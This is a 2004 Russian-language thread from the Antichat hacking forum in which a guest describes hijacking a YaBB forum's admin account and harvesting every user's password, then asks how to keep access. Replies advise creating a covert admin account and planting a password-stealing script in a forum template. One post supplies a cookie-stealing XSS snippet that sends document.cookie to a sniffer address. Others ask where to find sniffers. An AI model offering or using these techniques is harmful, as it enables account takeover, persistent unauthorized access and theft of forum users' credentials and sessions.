ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Как сохранить административный доступ на форуме yabb?
  #1  
Старый 12.01.2004, 12:53
Аватар для
Guest
Сообщений: n/a
Провел на форуме:

Репутация:
По умолчанию Как сохранить административный доступ на форуме yabb?

Народ помогите с сабжем!

Один раз загнал админа YaBB форума на свою страничку с фреймами, в нулевом фрейме сделал себя админом, выдрал все пароли юзеров через YaBB.pl?board=;action=profile;username= (в т.ч. пароль админа).

А теперь вопрос -  имея админский доступ к форуму можно ли его как-нить "затроянить"? т.к. "умные" пользователи имеют свойство время от времени менять свой пароль А каждый раз гнать админа на свою страничку как-то не хоцца...
 
Ответить с цитированием

  #2  
Старый 12.01.2004, 13:40
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

Создай новый аккаунт, дай ему админские права и сиди под ним.
Кроме того, если у тебя есть доступ к админке, то ты можешь запихнуть в какой-нибудь шаблон скриптик, который постоянно будет тебе слать пассворды юзеров (собственно это и будет настоящий троян)
 
Ответить с цитированием

  #3  
Старый 12.01.2004, 14:45
Аватар для Че Гевара
Че Гевара
Администратор
Регистрация: 05.10.2003
Сообщений: 1,083
Провел на форуме:
4618051

Репутация: 45


По умолчанию

А есть скрипт для отправки кукисов на мыло
 
Ответить с цитированием

  #4  
Старый 12.01.2004, 17:26
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

Не на мыло а на сниф:
< script>
var i=new Image;
i.src='http://адрес снифа'+'?'+document.cookie;
</script>
 
Ответить с цитированием

  #5  
Старый 12.01.2004, 20:09
Аватар для Че Гевара
Че Гевара
Администратор
Регистрация: 05.10.2003
Сообщений: 1,083
Провел на форуме:
4618051

Репутация: 45


По умолчанию

Алгол, а какие снифферы есть? В смысле адреса...
 
Ответить с цитированием

  #6  
Старый 12.01.2004, 20:17
Аватар для Че Гевара
Че Гевара
Администратор
Регистрация: 05.10.2003
Сообщений: 1,083
Провел на форуме:
4618051

Репутация: 45


По умолчанию

На античате есть?
 
Ответить с цитированием

  #7  
Старый 12.01.2004, 21:51
Аватар для igoreshka
igoreshka
Новичок
Регистрация: 12.01.2004
Сообщений: 2
Провел на форуме:
0

Репутация: 0
Unhappy

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата </td></tr><tr><td id="QUOTE">Создай новый аккаунт, дай ему админские права и сиди под ним.
Кроме того, если у тебя есть доступ к админке, то ты можешь запихнуть в какой-нибудь шаблон скриптик, который постоянно будет тебе слать пассворды юзеров (собственно это и будет настоящий троян)[/QUOTE]<span id='postcolor'>
Сделать себя админом конечно привлекательно, НО
1. Админ на форуме изначально всего один, а пользователей не так уж много.
2. Статус админа сразу видно при просмотре списка юзеров да и при просмотре статистики форума выводится надпись типа - Администраторы:......

За скриптик спасибо! Если б еще листинг снифа простенького написал кто-нить
 
Ответить с цитированием

  #8  
Старый 13.01.2004, 00:12
Аватар для Algol
Algol
Регистрация: 29.05.2002
Сообщений: 1,793
Провел на форуме:
2050916

Репутация: 0


По умолчанию

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Че Гевара @ января 12 2004,19:17)</td></tr><tr><td id="QUOTE">На античате есть?[/QUOTE]<span id='postcolor'>
Есть, но не для всеобщего пользования
 
Ответить с цитированием

  #9  
Старый 01.02.2004, 20:21
Аватар для 11111118
11111118
Новичок
Регистрация: 03.01.2004
Сообщений: 5
Провел на форуме:
0

Репутация: 0
По умолчанию

</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Algol @ января 12 2004,23:12)</td></tr><tr><td id="QUOTE"></span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Че Гевара @ января 12 2004,19:17)</td></tr><tr><td id="QUOTE">На античате есть?[/QUOTE]<span id='postcolor'>
Есть, но не для всеобщего пользования[/QUOTE]<span id='postcolor'>
скинь в личку плз, если не трудно....)))
 
Ответить с цитированием

  #10  
Старый 01.02.2004, 21:03
Аватар для Че Гевара
Че Гевара
Администратор
Регистрация: 05.10.2003
Сообщений: 1,083
Провел на форуме:
4618051

Репутация: 45


По умолчанию

Ага, так он тебе и скинет
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ